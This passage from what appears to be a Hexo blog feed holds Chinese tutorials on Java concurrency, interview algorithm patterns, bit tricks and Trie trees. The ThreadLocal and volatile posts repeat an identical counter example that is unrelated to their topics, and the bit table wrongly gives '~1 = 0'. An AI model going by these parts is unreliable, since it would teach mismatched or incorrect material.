时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ThreadLocal 的使用和内存泄漏问题</title>
      <link href="//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/"/>
      <url>//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="ThreadLocal-的使用和内存泄漏问题"><a href="#ThreadLocal-的使用和内存泄漏问题" class="headerlink" title="ThreadLocal 的使用和内存泄漏问题"></a>ThreadLocal 的使用和内存泄漏问题</h1><p>ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>ThreadLocal 为每个线程提供独立的变量副本</p></li><li><p>底层使用 ThreadLocalMap 存储，key 是弱引用</p></li><li><p>内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value</p></li><li><p>解决方案：使用完毕后调用 remove() 方法</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>volatile 能保证什么不能保证什么</title>
      <link href="//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/"/>
      <url>//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="volatile-能保证什么不能保证什么"><a href="#volatile-能保证什么不能保证什么" class="headerlink" title="volatile 能保证什么不能保证什么"></a>volatile 能保证什么不能保证什么</h1><p>volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>volatile 保证可见性：一个线程的修改对其他线程立即可见</p></li><li><p>volatile 禁止指令重排：确保指令按照代码顺序执行</p></li><li><p>volatile 不保证原子性：复合操作仍然需要同步</p></li><li><p>volatile 适合作为状态标志，不适合作为计数器</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>算法面试常考题型总结</title>
      <link href="//algorithm-interview-summary/"/>
      <url>//algorithm-interview-summary/</url>
      
        <content type="html"><![CDATA[<h2 id="一、数组与矩阵"><a href="#一、数组与矩阵" class="headerlink" title="一、数组与矩阵"></a>一、数组与矩阵</h2><h3 id="1-1-高频题型"><a href="#1-1-高频题型" class="headerlink" title="1.1 高频题型"></a>1.1 高频题型</h3><table><thead><tr><th>题型</th><th>例题</th><th>技巧</th></tr></thead><tbody><tr><td>两数之和</td><td>Two Sum</td><td>哈希表</td></tr><tr><td>区间合并</td><td>Merge Intervals</td><td>排序+遍历</td></tr><tr><td>旋转数组</td><td>Search in Rotated Array</td><td>二分查找</td></tr><tr><td>螺旋矩阵</td><td>Spiral Matrix</td><td>模拟边界</td></tr><tr><td>最大子数组</td><td>Maximum Subarray</td><td>动态规划/Kadane</td></tr></tbody></table><h3 id="1-2-解题套路"><a href="#1-2-解题套路" class="headerlink" title="1.2 解题套路"></a>1.2 解题套路</h3><ul><li><strong>排序</strong>：O(n log n) 预处理</li><li><strong>双指针</strong>：有序数组相关</li><li><strong>前缀和</strong>：子数组和问题</li></ul><h2 id="二、链表"><a href="#二、链表" class="headerlink" title="二、链表"></a>二、链表</h2><h3 id="2-1-高频题型"><a href="#2-1-高频题型" class="headerlink" title="2.1 高频题型"></a>2.1 高频题型</h3><table><thead><tr><th>题型</th><th>例题</th></tr></thead><tbody><tr><td>反转链表</td><td>Reverse Linked List</td></tr><tr><td>检测环</td><td>Linked List Cycle</td></tr><tr><td>合并有序链表</td><td>Merge Two Sorted Lists</td></tr><tr><td>重排链表</td><td>Reorder List</td></tr><tr><td>K个一组反转</td><td>Reverse Nodes in k-Group</td></tr></tbody></table><h3 id="2-2-解题套路"><a href="#2-2-解题套路" class="headerlink" title="2.2 解题套路"></a>2.2 解题套路</h3><ul><li><strong>快慢指针</strong>：环、中点</li><li><strong>虚拟头节点</strong>：统一操作</li><li><strong>递归</strong>：反转、合并</li></ul><h2 id="三、二叉树"><a href="#三、二叉树" class="headerlink" title="三、二叉树"></a>三、二叉树</h2><h3 id="3-1-高频题型"><a href="#3-1-高频题型" class="headerlink" title="3.1 高频题型"></a>3.1 高频题型</h3><table><thead><tr><th>题型</th><th>例题</th><th>方法</th></tr></thead><tbody><tr><td>遍历</td><td>前中后序</td><td>递归/迭代</td></tr><tr><td>层序遍历</td><td>Binary Tree Level Order</td><td>BFS</td></tr><tr><td>最近公共祖先</td><td>Lowest Common Ancestor</td><td>DFS</td></tr><tr><td>路径和</td><td>Path Sum</td><td>DFS</td></tr><tr><td>序列化</td><td>Serialize and Deserialize</td><td>前序+递归</td></tr></tbody></table><h3 id="3-2-解题套路"><a href="#3-2-解题套路" class="headerlink" title="3.2 解题套路"></a>3.2 解题套路</h3><ul><li><strong>递归万能框架</strong>：前序/中序/后序位置</li><li><strong>BFS</strong>：层相关、最短路径</li></ul><h2 id="四、动态规划"><a href="#四、动态规划" class="headerlink" title="四、动态规划"></a>四、动态规划</h2><h3 id="4-1-高频题型"><a href="#4-1-高频题型" class="headerlink" title="4.1 高频题型"></a>4.1 高频题型</h3><table><thead><tr><th>题型</th><th>状态定义</th><th>转移方程</th></tr></thead><tbody><tr><td>背包问题</td><td>dp[i][j]</td><td>选/不选</td></tr><tr><td>股票买卖</td><td>每天状态</td><td>状态机</td></tr><tr><td>最长公共子序列</td><td>dp[i][j]</td><td>相等/不相等</td></tr><tr><td>编辑距离</td><td>dp[i][j]</td><td>增删改</td></tr><tr><td>打家劫舍</td><td>dp[i]</td><td>偷/不偷</td></tr></tbody></table><h3 id="4-2-解题步骤"><a href="#4-2-解题步骤" class="headerlink" title="4.2 解题步骤"></a>4.2 解题步骤</h3><ol><li>确定状态含义</li><li>推导转移方程</li><li>确定初始条件</li><li>确定遍历顺序</li><li>考虑空间优化</li></ol><h2 id="五、字符串"><a href="#五、字符串" class="headerlink" title="五、字符串"></a>五、字符串</h2><h3 id="5-1-高频题型"><a href="#5-1-高频题型" class="headerlink" title="5.1 高频题型"></a>5.1 高频题型</h3><table><thead><tr><th>题型</th><th>技巧</th></tr></thead><tbody><tr><td>字符串匹配</td><td>KMP、Rabin-Karp</td></tr><tr><td>最长回文子串</td><td>中心扩展、Manacher</td></tr><tr><td>单词拆分</td><td>动态规划</td></tr><tr><td>异位词</td><td>哈希表、字符计数</td></tr></tbody></table><h2 id="六、图"><a href="#六、图" class="headerlink" title="六、图"></a>六、图</h2><h3 id="6-1-高频题型"><a href="#6-1-高频题型" class="headerlink" title="6.1 高频题型"></a>6.1 高频题型</h3><table><thead><tr><th>题型</th><th>算法</th></tr></thead><tbody><tr><td>拓扑排序</td><td>Kahn/DFS</td></tr><tr><td>最短路径</td><td>Dijkstra/BFS</td></tr><tr><td>连通分量</td><td>DFS/并查集</td></tr><tr><td>最小生成树</td><td>Prim/Kruskal</td></tr></tbody></table><h2 id="七、系统设计中的算法"><a href="#七、系统设计中的算法" class="headerlink" title="七、系统设计中的算法"></a>七、系统设计中的算法</h2><h3 id="7-1-常见场景"><a href="#7-1-常见场景" class="headerlink" title="7.1 常见场景"></a>7.1 常见场景</h3><ul><li><strong>一致性哈希</strong>：环+虚拟节点</li><li><strong>布隆过滤器</strong>：位数组+多哈希</li><li><strong>LRU缓存</strong>：HashMap + 双向链表</li><li><strong>TopK</strong>：堆/快速选择</li></ul><h2 id="八、面试策略"><a href="#八、面试策略" class="headerlink" title="八、面试策略"></a>八、面试策略</h2><h3 id="8-1-沟通技巧"><a href="#8-1-沟通技巧" class="headerlink" title="8.1 沟通技巧"></a>8.1 沟通技巧</h3><ol><li>先理解题意，确认边界条件</li><li>说出暴力解法，再优化</li><li>写代码前先说明思路</li><li>主动分析复杂度</li></ol><h3 id="8-2-代码规范"><a href="#8-2-代码规范" class="headerlink" title="8.2 代码规范"></a>8.2 代码规范</h3><ul><li>有意义的变量名</li><li>处理边界条件</li><li>写完简单测试</li></ul><h2 id="九、总结"><a href="#九、总结" class="headerlink" title="九、总结"></a>九、总结</h2><p>算法面试的核心是<strong>思路清晰 + 代码正确</strong>。将题目按类型归类，总结每类的解题模板，遇到新题先归类再套用。持续练习是提升的唯一途径。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 总结 </tag>
            
            <tag> 面试 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>位运算的巧妙应用</title>
      <link href="//bit-manipulation-tricks/"/>
      <url>//bit-manipulation-tricks/</url>
      
        <content type="html"><![CDATA[<h2 id="一、基本位运算"><a href="#一、基本位运算" class="headerlink" title="一、基本位运算"></a>一、基本位运算</h2><table><thead><tr><th>运算符</th><th>说明</th><th>示例</th></tr></thead><tbody><tr><td>&amp;</td><td>与</td><td>1 &amp; 1 = 1</td></tr><tr><td>|</td><td>或</td><td>1 | 0 = 1</td></tr><tr><td>^</td><td>异或</td><td>1 ^ 1 = 0</td></tr><tr><td>~</td><td>非</td><td>~1 = 0</td></tr><tr><td>&lt;&lt;</td><td>左移</td><td>1 &lt;&lt; 2 = 4</td></tr><tr><td>&gt;&gt;</td><td>右移</td><td>4 &gt;&gt; 1 = 2</td></tr></tbody></table><h2 id="二、常用技巧"><a href="#二、常用技巧" class="headerlink" title="二、常用技巧"></a>二、常用技巧</h2><h3 id="2-1-判断奇偶"><a href="#2-1-判断奇偶" class="headerlink" title="2.1 判断奇偶"></a>2.1 判断奇偶</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 代替 n % 2 == 0</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">isEven</span> <span class="operator">=</span> (n &amp; <span class="number">1</span>) == <span class="number">0</span>;</span><br></pre></td></tr></table></figure><h3 id="2-2-交换变量"><a href="#2-2-交换变量" class="headerlink" title="2.2 交换变量"></a>2.2 交换变量</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">a = a ^ b;</span><br><span class="line">b = a ^ b;  <span class="comment">// b = a ^ b ^ b = a</span></span><br><span class="line">a = a ^ b;  <span class="comment">// a = a ^ b ^ a = b</span></span><br></pre></td></tr></table></figure><h3 id="2-3-获取最低位1"><a href="#2-3-获取最低位1" class="headerlink" title="2.3 获取最低位1"></a>2.3 获取最低位1</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="variable">lowbit</span> <span class="operator">=</span> x &amp; (-x);</span><br><span class="line"><span class="comment">// 例: x = 10100, -x = 01100, lowbit = 00100 = 4</span></span><br></pre></td></tr></table></figure><h3 id="2-4-清除最低位1"><a href="#2-4-清除最低位1" class="headerlink" title="2.4 清除最低位1"></a>2.4 清除最低位1</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">x = x &amp; (x - <span class="number">1</span>);</span><br><span class="line"><span class="comment">// 例: x = 10100, x-1 = 10011, x &amp; (x-1) = 10000</span></span><br></pre></td></tr></table></figure><h3 id="2-5-判断是否为2的幂"><a href="#2-5-判断是否为2的幂" class="headerlink" title="2.5 判断是否为2的幂"></a>2.5 判断是否为2的幂</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">boolean</span> <span class="variable">isPowerOfTwo</span> <span class="operator">=</span> (n &amp; (n - <span class="number">1</span>)) == <span class="number">0</span> &amp;&amp; n &gt; <span class="number">0</span>;</span><br></pre></td></tr></table></figure><h2 id="三、经典问题"><a href="#三、经典问题" class="headerlink" title="三、经典问题"></a>三、经典问题</h2><h3 id="3-1-只出现一次的数"><a href="#3-1-只出现一次的数" class="headerlink" title="3.1 只出现一次的数"></a>3.1 只出现一次的数</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 其他数出现两次，只有一个出现一次</span></span><br><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">singleNumber</span><span class="params">(<span class="type">int</span>[] nums)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">res</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> num : nums) res ^= num;</span><br><span class="line">    <span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-2-只出现一次的数-II"><a href="#3-2-只出现一次的数-II" class="headerlink" title="3.2 只出现一次的数 II"></a>3.2 只出现一次的数 II</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 其他数出现三次</span></span><br><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">singleNumberII</span><span class="params">(<span class="type">int</span>[] nums)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">ones</span> <span class="operator">=</span> <span class="number">0</span>, twos = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> num : nums) &#123;</span><br><span class="line">        ones = (ones ^ num) &amp; ~twos;</span><br><span class="line">        twos = (twos ^ num) &amp; ~ones;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> ones;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-3-统计1的个数"><a href="#3-3-统计1的个数" class="headerlink" title="3.3 统计1的个数"></a>3.3 统计1的个数</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">hammingWeight</span><span class="params">(<span class="type">int</span> n)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (n != <span class="number">0</span>) &#123;</span><br><span class="line">        n &amp;= n - <span class="number">1</span>;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> count;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-4-判断字符是否唯一"><a href="#3-4-判断字符是否唯一" class="headerlink" title="3.4 判断字符是否唯一"></a>3.4 判断字符是否唯一</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">isUnique</span><span class="params">(String s)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">mask</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">char</span> c : s.toCharArray()) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">bit</span> <span class="operator">=</span> <span class="number">1</span> &lt;&lt; (c - <span class="string">&#x27;a&#x27;</span>);</span><br><span class="line">        <span class="keyword">if</span> ((mask &amp; bit) != <span class="number">0</span>) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        mask |= bit;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、状态压缩DP"><a href="#四、状态压缩DP" class="headerlink" title="四、状态压缩DP"></a>四、状态压缩DP</h2><p>用二进制表示状态集合：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// n ≤ 20 时，可用int表示状态</span></span><br><span class="line"><span class="type">int</span> <span class="variable">state</span> <span class="operator">=</span> <span class="number">0</span>;  <span class="comment">// 二进制第i位表示第i个元素是否选中</span></span><br><span class="line">state |= (<span class="number">1</span> &lt;&lt; i);  <span class="comment">// 选中第i个</span></span><br><span class="line"><span class="keyword">if</span> ((state &amp; (<span class="number">1</span> &lt;&lt; i)) != <span class="number">0</span>)  <span class="comment">// 判断是否选中</span></span><br></pre></td></tr></table></figure><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><p>位运算直接操作二进制位，效率极高。掌握常见技巧，可以在判断、统计、状态表示等场景中写出简洁高效的代码。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 位运算 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Trie树与字符串前缀</title>
      <link href="//trie-tree-prefix/"/>
      <url>//trie-tree-prefix/</url>
      
        <content type="html"><![CDATA[<h2 id="一、Trie树概述"><a href="#一、Trie树概述" class="headerlink" title="一、Trie树概述"></a>一、Trie树概述</h2><h3 id="1-1-定义"><a href="#1-1-定义" class="headerlink" title="1.1 定义"></a>1.1 定义</h3><p>Trie（前缀树/字典树）是一种树形数据结构，用于高效存储和检索字符串集合。</p><h3 id="1-2-核心特性"><a href="#1-2-核心特性" class="headerlink" title="1.2 核心特性"></a>1.2 核心特性</h3><ul><li>根节点表示空字符串</li><li>每条边代表一个字符</li><li>从根到节点的路径表示一个字符串前缀</li></ul><h2 id="二、节点结构"><a href="#二、节点结构" class="headerlink" title="二、节点结构"></a>二、节点结构</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">TrieNode</span> &#123;</span><br><span class="line">    TrieNode[] children;  <span class="comment">// 26个小写字母</span></span><br><span class="line">    <span class="type">boolean</span> isEndOfWord;  <span class="comment">// 是否为一个单词的结尾</span></span><br><span class="line">    </span><br><span class="line">    TrieNode() &#123;</span><br><span class="line">        children = <span class="keyword">new</span> <span class="title class_">TrieNode</span>[<span class="number">26</span>];</span><br><span class="line">        isEndOfWord = <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、基本操作"><a href="#三、基本操作" class="headerlink" title="三、基本操作"></a>三、基本操作</h2><h3 id="3-1-插入"><a href="#3-1-插入" class="headerlink" title="3.1 插入"></a>3.1 插入</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">insert</span><span class="params">(String word)</span> &#123;</span><br><span class="line">    <span class="type">TrieNode</span> <span class="variable">node</span> <span class="operator">=</span> root;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">char</span> c : word.toCharArray()) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">idx</span> <span class="operator">=</span> c - <span class="string">&#x27;a&#x27;</span>;</span><br><span class="line">        <span class="keyword">if</span> (node.children[idx] == <span class="literal">null</span>) &#123;</span><br><span class="line">            node.children[idx] = <span class="keyword">new</span> <span class="title class_">TrieNode</span>();</span><br><span class="line">        &#125;</span><br><span class="line">        node = node.children[idx];</span><br><span class="line">    &#125;</span><br><span class="line">    node.isEndOfWord = <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>时间复杂度：( O(m) )，( m ) = 单词长度</p><h3 id="3-2-查找"><a href="#3-2-查找" class="headerlink" title="3.2 查找"></a>3.2 查找</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">search</span><span class="params">(String word)</span> &#123;</span><br><span class="line">    <span class="type">TrieNode</span> <span class="variable">node</span> <span class="operator">=</span> searchPrefix(word);</span><br><span class="line">    <span class="keyword">return</span> node != <span class="literal">null</span> &amp;&amp; node.isEndOfWord;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">startsWith</span><span class="params">(String prefix)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> searchPrefix(prefix) != <span class="literal">null</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> TrieNode <span class="title function_">searchPrefix</span><span class="params">(String prefix)</span> &#123;</span><br><span class="line">    <span class="type">TrieNode</span> <span class="variable">node</span> <span class="operator">=</span> root;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">char</span> c : prefix.toCharArray()) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">idx</span> <span class="operator">=</span> c - <span class="string">&#x27;a&#x27;</span>;</span><br><span class="line">        <span class="keyword">if</span> (node.children[idx] == <span class="literal">null</span>) <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        node = node.children[idx];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> node;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、应用场景"><a href="#四、应用场景" class="headerlink" title="四、应用场景"></a>四、应用场景</h2><h3 id="4-1-自动补全"><a href="#4-1-自动补全" class="headerlink" title="4.1 自动补全"></a>4.1 自动补全</h3><p>根据输入前缀，遍历子树收集所有单词。</p><h3 id="4-2-最长公共前缀"><a href="#4-2-最长公共前缀" class="headerlink" title="4.2 最长公共前缀"></a>4.2 最长公共前缀</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> String <span class="title function_">longestCommonPrefix</span><span class="params">(String[] strs)</span> &#123;</span><br><span class="line">    <span class="type">Trie</span> <span class="variable">trie</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Trie</span>();</span><br><span class="line">    <span class="keyword">for</span> (String s : strs) trie.insert(s);</span><br><span class="line">    <span class="keyword">return</span> trie.findLongestPrefix();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-3-单词搜索-II"><a href="#4-3-单词搜索-II" class="headerlink" title="4.3 单词搜索 II"></a>4.3 单词搜索 II</h3><p>在二维字符网格中查找所有单词，先用Trie存储单词列表，再DFS网格。</p><h2 id="五、压缩Trie"><a href="#五、压缩Trie" class="headerlink" title="五、压缩Trie"></a>五、压缩Trie</h2><h3 id="5-1-radix-tree-patricia-trie"><a href="#5-1-radix-tree-patricia-trie" class="headerlink" title="5.1  radix tree / patricia trie"></a>5.1  radix tree / patricia trie</h3><p>合并只有一个子节点的链，减少空间。</p><h2 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h2><table><thead><tr><th>操作</th><th>时间</th><th>空间</th></tr></thead><tbody><tr><td>插入</td><td>( O(m) )</td><td>( O(m \cdot n) )</td></tr><tr><td>查找</td><td>( O(m) )</td><td>-</td></tr><tr><td>前缀匹配</td><td>( O(m) 